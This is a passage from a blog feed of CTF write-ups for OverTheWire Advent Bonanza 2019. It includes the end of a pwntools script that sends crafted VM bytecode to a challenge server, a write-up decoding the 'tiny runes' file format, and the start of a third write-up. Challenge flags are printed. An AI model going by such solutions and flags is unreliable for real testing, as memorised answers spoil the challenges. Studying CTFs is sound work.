&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log_level&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;debug&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;instructions_before&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;#### create literal as a function&lt;/span&gt;

&lt;span class="s2"&gt;21      # 0x80 ^ 0xa1&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xa1 is on-&amp;gt;data&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;instructions_to_encode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;89&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;#00      # end instructions  # bottom of the stack&lt;/span&gt;

&lt;span class="n"&gt;instructions_after&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;01      # index of function&lt;/span&gt;
&lt;span class="s2"&gt;a0      # upon detection of a0, the index is popped as well (= 0x01), everything is copied into the function stack until 0xa1 is reached on -&amp;gt;data, then -&amp;gt;data is empty&lt;/span&gt;

&lt;span class="s2"&gt;#### print 0x21, 0x80&lt;/span&gt;

&lt;span class="s2"&gt;21&lt;/span&gt;
&lt;span class="s2"&gt;b0      # print 0x21&lt;/span&gt;

&lt;span class="s2"&gt;# avoid 00 by encoding it as 0x11 0x11 and XORing it&lt;/span&gt;
&lt;span class="s2"&gt;11      # 0x11 is on -&amp;gt;data&lt;/span&gt;
&lt;span class="s2"&gt;11      # 0x11 0x11 is on -&amp;gt;data&lt;/span&gt;
&lt;span class="s2"&gt;84      # 0x00 is on -&amp;gt;data&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x80 is on -&amp;gt;data&lt;/span&gt;
&lt;span class="s2"&gt;b0      # print 0x80&lt;/span&gt;

&lt;span class="s2"&gt;# copy literal from function stack to -&amp;gt;data (i.e. call the function)&lt;/span&gt;
&lt;span class="s2"&gt;# literal must end with 0x00 for the print ping pong&lt;/span&gt;

&lt;span class="s2"&gt;#### print the encoded instructions with a print ping pong&lt;/span&gt;

&lt;span class="s2"&gt;c1      # the whole literal function is pushed to -&amp;gt;code; if the function only contains instructions &amp;lt; 0x80, they will be copied to -&amp;gt;data&lt;/span&gt;

&lt;span class="s2"&gt;# ping&lt;/span&gt;

&lt;span class="s2"&gt;21&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xa1 is on -&amp;gt;data (end of function)&lt;/span&gt;

&lt;span class="s2"&gt;63&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xe3 is on -&amp;gt;data (call function 3)&lt;/span&gt;

&lt;span class="s2"&gt;30&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xb0 is on -&amp;gt;data (print)&lt;/span&gt;

&lt;span class="s2"&gt;11&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x91 is on -&amp;gt;data (duplicate)&lt;/span&gt;

&lt;span class="s2"&gt;02&lt;/span&gt;
&lt;span class="s2"&gt;a0      # create function (i.e. print and call 0xe3; if 0x00 was popped [which was duplicated], function is not called)&lt;/span&gt;

&lt;span class="s2"&gt;# pong&lt;/span&gt;

&lt;span class="s2"&gt;21&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xa1 is on -&amp;gt;data (end of function)&lt;/span&gt;

&lt;span class="s2"&gt;62&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xe2 is on -&amp;gt;data (call function 2)&lt;/span&gt;

&lt;span class="s2"&gt;30&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xb0 is on -&amp;gt;data (print)&lt;/span&gt;

&lt;span class="s2"&gt;11&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x91 is on -&amp;gt;data (duplicate)&lt;/span&gt;

&lt;span class="s2"&gt;03&lt;/span&gt;
&lt;span class="s2"&gt;a0      # create function (i.e. print and call 0xe2; if 0x00 was popped [which was duplicated], function is not called)&lt;/span&gt;

&lt;span class="s2"&gt;# print encoded instructions&lt;/span&gt;

&lt;span class="s2"&gt;c2      # call the print function (prints everything until and including 0x00 in vm-&amp;gt;data)&lt;/span&gt;

&lt;span class="s2"&gt;#### decode the instructions and print them with a print ping pong&lt;/span&gt;

&lt;span class="s2"&gt;c1      # the whole literal function is pushed to -&amp;gt;code; if the function only contains instructions &amp;lt; 0x80, they will be copied to -&amp;gt;data&lt;/span&gt;

&lt;span class="s2"&gt;# ping&lt;/span&gt;

&lt;span class="s2"&gt;21&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xa1 is on -&amp;gt;data (end of function)&lt;/span&gt;

&lt;span class="s2"&gt;65&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xe5 is on -&amp;gt;data (call function 5)&lt;/span&gt;

&lt;span class="s2"&gt;11&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x91 is on -&amp;gt;data (duplicate)&lt;/span&gt;

&lt;span class="s2"&gt;04&lt;/span&gt;
&lt;span class="s2"&gt;a0      # create function (i.e. print and call 0xe5; if 0x00 was popped [which was duplicated], function is not called)&lt;/span&gt;

&lt;span class="s2"&gt;# pong&lt;/span&gt;

&lt;span class="s2"&gt;21&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xa1 is on -&amp;gt;data (end of function)&lt;/span&gt;

&lt;span class="s2"&gt;44&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xc4 is on -&amp;gt;data (call function 4)&lt;/span&gt;

&lt;span class="s2"&gt;30&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0xb0 is on -&amp;gt;data (print)&lt;/span&gt;

&lt;span class="s2"&gt;04&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x84 is on -&amp;gt;data&lt;/span&gt;

&lt;span class="s2"&gt;01&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x81 is on -&amp;gt;data&lt;/span&gt;

&lt;span class="s2"&gt;04&lt;/span&gt;
&lt;span class="s2"&gt;80      # 0x84 is on -&amp;gt;data&lt;/span&gt;

&lt;span class="s2"&gt;05&lt;/span&gt;
&lt;span class="s2"&gt;a0      # create function (i.e. print and call 0xe4; if 0x00 was popped [which was duplicated], function is not called)&lt;/span&gt;

&lt;span class="s2"&gt;# decode and print instructions&lt;/span&gt;

&lt;span class="s2"&gt;c4&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;assemble&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# print(instructions)&lt;/span&gt;
    &lt;span class="c1"&gt;# remove comments&lt;/span&gt;
    &lt;span class="n"&gt;instructions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;#.*&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# remove whitespaces&lt;/span&gt;
    &lt;span class="n"&gt;instructions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\s+&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# print(instructions)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unhexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instructions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0x00 is not supported!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# end of encoded sequence&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;bytecode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;assemble&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instructions_before&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;assemble&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instructions_to_encode&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;assemble&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instructions_after&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;#vm = process(&amp;quot;./vm-chal&amp;quot;)&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;3.93.128.89&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1214&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Length of&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Enter your&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytecode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sending the payload to the server gives us the flag back:
&lt;tt class="docutils literal"&gt;AOTW{G0od_job_writing_y0ur_v3ry_0wN_quin3!}&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>OverTheWire Advent Bonanza 2019: day-14 tiny runes</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-14-tiny-runes.html" rel="alternate"></link><published>2020-01-13T00:00:00+01:00</published><updated>2020-01-13T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-13:/articles/security/overthewire-advent-bonanza-2019-day-14-tiny-runes.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 14: tiny runes.&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
One of Santa's Little Helpers received an unusual Christmas wish, a
copy of the yet to be released Deus Hex game. All they managed to
find were fragments from the dialogue system. Can you decode the
last one?&lt;/blockquote&gt;
&lt;p&gt;Given where the following files in an archive:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.
├── lines1.bin
├── lines1.png
├── lines1.txt
├── lines2.bin
├── lines2.png
├── lines2.txt
├── lines3.bin
├── lines3.png
├── lines3.txt
└── lines4.bin
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; The goal is to decode &lt;tt class="docutils literal"&gt;lines4.bin&lt;/tt&gt; into &lt;tt class="docutils literal"&gt;lines4.txt&lt;/tt&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analysis"&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;The &lt;tt class="docutils literal"&gt;*.bin&lt;/tt&gt; files all start with the following byte sequence:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
00000000  54 69 4e 79 4d 65 54 61  00 00 00 10 00 00 00 02  |TiNyMeTa........|
&lt;/pre&gt;
&lt;p&gt;This indicates some kind of magic (&lt;tt class="docutils literal"&gt;TiNyMeTa&lt;/tt&gt;) but also a header with
positions/length. The bin files contain an embedded PNG file starting
from byte 89:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
00000020  00 00 03 01 89 50 4e 47  0d 0a 1a 0a 00 00 00 0d  |.....PNG........|
&lt;/pre&gt;
&lt;p&gt;This embedded image is the same in all files:&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="" src="/images/otw2019/runes.png" /&gt;
&lt;/div&gt;
&lt;p&gt;Looking at the images (&lt;tt class="docutils literal"&gt;lines1.png&lt;/tt&gt;, etc.), we can see that the image
is used for rendering the text. What text to render is also part of the
&lt;tt class="docutils literal"&gt;.bin&lt;/tt&gt; file:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
00000000  4c 69 4e 65 00 00 00 3c  05 01 03 0a 04 08 06 09  |LiNe...&amp;lt;........|
00000010  03 07 00 05 00 0a 01 0b  00 05 02 07 04 08 06 07  |................|
00000020  00 04 03 0b 07 0a 05 0b  05 09 05 09 05 09 04 08  |................|
00000030  02 05 05 09 05 09 05 09  04 08 02 05 05 09 05 09  |................|
00000040  05 09 06 07 4c 69 4e 65  00 00 00 54 05 01 03 0a  |....LiNe...T....|
00000050  04 08 06 09 03 07 00 05  00 0a 01 0b 00 05 02 07  |................|
00000060  04 08 06 07 02 05 04 08  00 0a 00 09 01 0b 07 0a  |................|
00000070  01 07 00 09 00 0a 04 08  05 07 01 0b 07 0a 04 08  |................|
00000080  00 06 03 07 07 03 03 07  04 08 03 0b 04 08 01 06  |................|
00000090  04 03 00 04 04 08 01 07  07 0a 00 05 05 09 06 07  |................|
&lt;/pre&gt;
&lt;p&gt;Every line segment starts with &lt;tt class="docutils literal"&gt;4c 69 4e 65 (LiNe)&lt;/tt&gt;, followed by the
length of the line as a 4 byte value. Every plain text byte takes 2
bytes in the encoded line. The first byte maps to the column, the second
one to the line in the embedded image (indices starting from 0).&lt;/p&gt;
&lt;p&gt;This can be easily automated in Python.&lt;/p&gt;
&lt;div class="section" id="final-exploit"&gt;
&lt;h3&gt;Final exploit&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;MAP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Q?0\H$Y,&lt;/span&gt;
&lt;span class="s2"&gt;R-L^KJ?k&lt;/span&gt;
&lt;span class="s2"&gt;s#_/m=f9&lt;/span&gt;
&lt;span class="s2"&gt;7d-NE4qr&lt;/span&gt;
&lt;span class="s2"&gt;Pi?V&amp;#39;&amp;amp;XA&lt;/span&gt;
&lt;span class="s2"&gt;n3I?O*;Z&lt;/span&gt;
&lt;span class="s2"&gt;wGpB8cSj&lt;/span&gt;
&lt;span class="s2"&gt;Fg:eby&amp;quot;v&lt;/span&gt;
&lt;span class="s2"&gt;%+?1 !M@&lt;/span&gt;
&lt;span class="s2"&gt;h&lt;/span&gt;&lt;span class="si"&gt;{2xW.D}&lt;/span&gt;&lt;span class="s2"&gt;&lt;/span&gt;
&lt;span class="s2"&gt;tU|CTz6u&lt;/span&gt;
&lt;span class="s2"&gt;Io&amp;gt;a5l&amp;lt;&amp;#39;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lines4.bin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;LiNe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;  &lt;span class="c1"&gt;# skip the length&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MAP&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Executing the script prints the flag:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Jock: &amp;quot;Oh my God! JC! A flag!&amp;quot;
JC Denton: &amp;quot;A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}&amp;quot;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>OverTheWire Advent Bonanza 2019: day-12 naughty list</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-12-naughty-list.html" rel="alternate"></link><published>2020-01-12T00:00:00+01:00</published><updated>2020-01-12T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-12:/articles/security/overthewire-advent-bonanza-2019-day-12-naughty-list.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 12: naughty list.&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
Santa has been abusing his power and is union busting us elves. Any
elves caught participating in union related activities have been put
